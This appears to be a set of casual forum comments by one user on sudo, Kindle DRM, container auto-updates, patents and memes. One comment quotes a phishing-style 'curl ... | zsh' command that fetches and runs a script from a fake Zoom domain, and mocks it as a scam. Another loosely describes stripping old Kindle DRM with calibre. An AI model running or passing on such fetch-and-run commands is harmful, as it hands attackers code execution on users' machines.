I’m still waiting to be able to just type sudo !! after a refused prompt, but yes, we’re still easily able to at least achieve something to the extent of sudo prompt of you know what you do

In this economy?

I remember a book I had a few years ago. Its premise was basically horror short stories that’d fit in a tweet each (<=150 chars).

One that I remember was basically

The last man on earth sat in a room. He jumped, as someone knocked at the door.

…and because it slows down the execution a bit and this avoids the race condition that triggers the bug, it now runs flawlessly.

Don’t know why they’re called like that - the Accu definitely doesn’t stand for accurate (where I live).

WTF is that ad in the top right of the meme?

With an old Kindle, it was trivially easy to rip Kindle books to retail-quality epubs.

Heh, yes. The encryption key for their old DRM was derivated from the Kindle’s serial number. Wanted to crack your library? Go to the webpage, download them all there (yes, that’s now blocked, too) open them all in calibre and use a plugin to deactivate the DRM (trivially to find back then). Enter your serial number and you’ve freed your whole library.

There are some projects, that do not offer latest or a general tag to pin a major version. So you might need to account for that.

Also since a few years ago you can specify pull_policy: always in the docker-compose.yaml to always pull the images on start. That should at least auto update the containers on a server reboot after OS/Kernel updates.

Unless you forgot AutoUpdate=registry in the .container file for half of them, like I did.

But yeah, I switched to Podman over a year ago and I’m not looking back.

I mean, I get the idea of patents. If there were no protection of “ideas”, some random person could have one, try to bring it to market but could just be outplayed by a big corporation with enough money to copy this idea and sell it everywhere before he can even start production. They have more resources and money, but might not have had that idea. There should be some protection. Problem is, that these are also abused by the big corporations, so… Maybe we need to fix this somehow.

They’re too big to fail, too big to jail, too big to care.

Yes

On the plus side, you might also end up maintaining their own Linux distribution Linux4ICE (or the newer one called EULE) ¯\_(ツ)_/¯

Blame him all you want for things he did, but trying to keep calm in that situation?

If he had jumped up and left the room asap or maybe said a few words to end that event quickly and GTFO, he’d probably been criticized, too. Probably something about not being professional or whatever.

set MEETING_JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.4030636137.signature"
curl -s https://zoom.uz07web.us/api/mn/4030636137/update/2 | zsh

Uhm… Yeah… Exactly the way I update my software, too…

Also wtf is that JWT? The header looks right (base64 string starting with ey equates to {, so it’s probably json), but the body is… Too short? And why does it say signature instead of containing a (base64) signature? At least make it believable. Noone’s gonna decode that anyways. Just fill it with garbage!

They’re called TSA, not G(round)SA or A(irport)SA or… for a reason!

Hahahahahahahahahahahahahaha!

As if you’d need to ask that question…

Now I’m a sexual perpetuum mobile!
